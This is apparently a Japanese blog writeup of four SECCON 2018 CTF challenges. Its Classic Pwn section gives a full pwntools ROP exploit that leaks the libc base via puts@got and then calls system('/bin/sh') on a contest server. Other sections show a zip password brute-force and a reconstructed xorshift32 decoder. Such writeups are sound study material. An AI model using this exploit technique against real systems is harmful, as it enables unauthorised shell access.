SECCON 2018 Online CTF Writeup
SECCON 2018 Online CTF writeup
解けたのはClassic Pwn, Runme, Unzipの3問。
何故かSpecial Instructionが解けてるのに正解が出ず...
そのままずるずると終わりました。
Classic Pwn
Pwn
まさに古典的Pwnといった感じの問題、classicという実行ファイルとlibcが降ってくる。
プログラムの動作は、gets
で入力を受け取ってローカルバッファに格納して終了するというだけ。
4006a9: 55 push rbp 4006aa: 48 89 e5 mov rbp,rsp 4006ad: 48 83 ec 40 sub rsp,0x40 4006b1: bf 74 07 40 00 mov edi,0x400774 4006b6: e8 65 fe ff ff call 400520 <puts@plt> 4006bb: bf 8e 07 40 00 mov edi,0x40078e 4006c0: b8 00 00 00 00 mov eax,0x0 4006c5: e8 76 fe ff ff call 400540 <printf@plt> 4006ca: 48 8d 45 c0 lea rax,[rbp-0x40] 4006ce: 48 89 c7 mov rdi,rax 4006d1: e8 8a fe ff ff call 400560 <gets@plt> 4006d6: bf 9f 07 40 00 mov edi,0x40079f 4006db: e8 40 fe ff ff call 400520 <puts@plt> 4006e0: b8 00 00 00 00 mov eax,0x0 4006e5: c9 leave 4006e6: c3 ret
gets
は際限なく入力を受け取るのでオーバーフローする。
Stack Protectionがないのでmain
のあとのリターンアドレスを書き換えることができ、制御を奪うことができる。
ただしx64なのでスタックに引数は積めない、ROPが必要になる。
libcもあるので、libcのベースアドレスをリークさせてsystem
を呼び出すことにした。
puts
にGOT領域にある関数のアドレスを引数として渡すことで、その関数のアドレスを出力させる。
関数のアドレスからその関数のオフセットを引くことで、libcのベースアドレスを計算できる。
そこで、libcのベースアドレスからsystem
とlibc内の/bin/sh
のアドレスを取得する。
オフセットはreadelf
とstrings
で取得できる。
それかpwntools
のELF
とかを使っても取得できるはず。
$ readelf --sym libc # putsのオフセットは0x6f690 ... 404: 000000000006f690 456 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 ... $ strings -t x libc | grep /bin/sh # /bin/shのオフセットは0x18cd57 18cd57 /bin/sh
最後にsystem
を呼び出すため、もう一度プログラムの制御を奪う必要がある。
main関数をもう一度呼び出すことで再び制御を奪えるようにした。
まとめると
- BOFで
puts
でGOT領域にある関数のアドレスを出力し、main
の先頭に戻る - 出力されたアドレスから
system
と/bin/sh
のアドレスを計算 - もう一度BOFをして、今度は計算された
system
を/bin/sh
を引数にして実行する - シェルゲット
という感じ。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './classic' libc = './libc' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('classic.pwn.seccon.jp', 17354) else: return process([exe] + argv, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() # libcでのそれぞれの関数へのオフセット system_offset = 0x0000000000045390 puts_offset = 0x000000000006f690 binsh_offset = 0x18cd57 elf = ELF(exe) # rop gadget pop_rdi = 0x00400753 # pop rdi; ret main = 0x004006a9 # 2回脆弱性を攻撃するためにmain関数のアドレス、ret2vul # オーバーフローするまでのパディング payload = 'A' * 0x40 # padding # push rbpでスタックに積まれたrbpを上書きする部分 payload += 'B' * 8 # prev_rbp # puts(puts@got)でGOT領域に格納されたputsのアドレスを出力し、main関数をもう一度実行する payload += p64(pop_rdi) # rdiに引数としてputs@gotを設定 payload += p64(elf.got['puts']) # popされる payload += p64(elf.plt['puts']) # puts(puts@got)、putsのアドレスを出力 payload += p64(main) # mainをもう一度実行する io.clean() # 余計な出力を削除 io.sendline(payload) io.recvuntil("Have a nice pwn!!\n") # 余計な部分まで読み出して削除 # putsのアドレスからlibcのベースアドレスを計算 puts_addr = io.recvline()[0:6] # GOT領域のputsのアドレス、先頭2バイトが0なので6バイトまで puts_addr = u64(puts_addr + '\0\0') # 足りない2バイトの0を補って数値に変換 libc_base = puts_addr - puts_offset # putsのオフセットを引くことでlibcのベースアドレスが計算できる # libcのベースアドレスにオフセットを足して、それぞれのアドレスを計算 system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset # デバッグのためログとして出力、pwndbgならgotコマンドでgotのアドレスが表示できるよ log.info("puts @ got: {}".format(hex(puts_addr))) log.info('libc base: {}'.format(hex(libc_base))) # mainがもう一度実行されているので、こんどはsystemを呼び出すようにオーバーフローさせる payload = 'A' * 0x40 # padding payload += 'B' * 8 # prev_rbp # system("/bin/sh") payload += p64(pop_rdi) payload += p64(binsh_addr) # /bin/shをrdiに設定し、引数とする payload += p64(system_addr) # やったぜ io.sendline(payload) io.interactive()
Runme
WinのPEが降ってくる。
中身はコマンドライン引数を一文字ずつ比較する関数を次々と呼び出しているだけなので、比較している文字を順番通りに並べればフラグになる。
Unzip
解凍するとzipファイルと解凍に使ったスクリプトが出てくる。
echo 'SECCON{'`cat key`'}' > flag.txt zip -e --password=`perl -e "print time()"` flag.zip flag.txt
perl -e "print time()"
がパスワードらしい。
time
はUNIX時間を返すのと、flag.zip
の作成日からおおよそ"1540566600"の前後だということが分かった。
あとは前後60秒くらいをブルートフォースすればいい。
手動でやるのは面倒だったのでPythonにやらせた。
面倒なことは
import zipfile unixtime = 1540566600 zipf = zipfile.ZipFile('./flag.zip') for i in range(70): try: zipf.extractall(pwd=str(unixtime+i)) except RuntimeError as e: continue
解凍するとflagが出てくる。
Special Instruction
マイナーなアーキテクチャのバイナリが降ってくる。
マルチアーキテクチャ対応のreadelf
とかだとMoxie
というアーキテクチャだと教えてくれる。
大熱血本のHPから実行環境付きのOVAを取得することもできる。
しかし、このバイナリはset_random_seed
とget_random_value
でオリジナルの命令を使うようになっているためそのままでは実行できない。
バイナリの挙動は、Cのソースコードにするとこんな感じである。
#include <stdio.h> unsigned int seed = 0; char flag[] = {0x6d, 0x72, 0xc3, 0xe2, 0xcf, 0x95, 0x54, 0x9d, 0xb6, 0xac, 0x03, 0x84, 0xc3, 0xc2, 0x35, 0x93, 0xc3, 0xd7, 0x7c, 0xe2, 0xdd, 0xd4, 0xac, 0x5e, 0x99, 0xc9, 0xa5, 0x34, 0xde, 0x06, 0x4e, 0x00}; char randval[] = {0x3d, 0x05, 0xdc, 0x31, 0xd1, 0x8a, 0xaf, 0x29, 0x96, 0xfa, 0xcb, 0x1b, 0x01, 0xec, 0xe2, 0xf7, 0x15, 0x70, 0x6c, 0xf4, 0x7e, 0xa1, 0x9e, 0x0e, 0x01, 0xf9, 0xc2, 0x4c, 0xba, 0xa0, 0xa1, 0x08, 0x70, 0x24, 0x85, 0x8a, 0x4d, 0x2d, 0x3c, 0x02, 0xfc, 0x6f, 0x20, 0xf0, 0xc7, 0xad, 0x2f, 0x97, 0x2b, 0xcc, 0xa3, 0x34, 0x23, 0x53, 0xc9, 0xb7, 0x0c, 0x10, 0x6c, 0x0e, 0xfa, 0xf9, 0xa1, 0x9a,}; void set_random_seed(unsigned int num) { seed = num; } unsigned int get_random_value() { seed ^= seed << 13; seed ^= seed >> 17; seed ^= seed << 5; return seed; } char* decode(char* flag, char* randval) { if (flag[0] != 0) { char* randval_ptr = randval; // r8 char* flag_ptr = flag; // r7 while(1) { unsigned char r6 = *randval_ptr; r6 ^= get_random_value(); r6 ^= *flag_ptr; *flag_ptr = r6; flag_ptr++; randval_ptr++; if (*flag_ptr == 0) { break; } } } return flag; } int main(int argc, char** argv){ // ヒントの出力 set_random_seed(0x92d68ca2); printf("%s\n", decode(flag, randval)); return 0; }
decode
とmain
は、クロスコンパイルした結果がバイナリとほぼ一致していたので合っているはず。
最初の方に出力命令があり、以下のヒントを出力するようになっていた。
SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA
要はオリジナルの命令の挙動を説明しているんだと思う。
上記のCコードではこれも関数として補っている。
xorshift32
は疑似乱数生成アルゴリズムの一種で、高速で実装が簡単な割りに周期がそこそこ長くて優秀らしい。
wikiに載っている実装をそのまま持ってきた(uint32_t
はクロスコンパイル環境で使えなかったのでunsigned int
に変えている)。
しかし、何故かフラグとして正常にデコードできなかった。
xorshift32
はあちこちにあるサンプル実装そのままなのでおそらく合ってる、set_random_seed
はまずこれ以外ない。
となるとget_random_value
が違うということになるけど、ヒントそのままの挙動のはず。
というわけで投げた。
人のwriteup(https://hikalium.hatenablog.jp/entry/2018/10/28/164812)を見てみた。
パラメータは適当らしい、ざけんな。
xorshift32
の正解のパラメータは13, 17, 15だそうなので試したら解けた。
CTFの問題にはどんな場合でもブルートフォース要素を含めるなとは言わないが、アルゴリズムの名前だけを知らせてそのパラメータを総当たりさせることが本当にその問題を面白くするのかどうか考えてからそうして欲しい。 ヒントにたった3つの整数を付け足すだけで問題の難易度を下げることなく参加者のストレスを低減できる。
まあ論文読めば解けるのでこれは論文を読めという天啓かもしれない。
感想
Special Instructionで詰まって投げてしまってこの4つ以外はほとんど触れていない。
限られた問題だけで感想を言うと、正直微妙だった。
どうでもいいような問題ばかりであまり学べることがなく、参加してもしなくても同じという印象を抱いてしまった。
まあ偶然ハズレを引いたんだと気持ちを入れ替えて、他の問題のWriteup見て反省しよう。
大熱血本も読まないとなあ。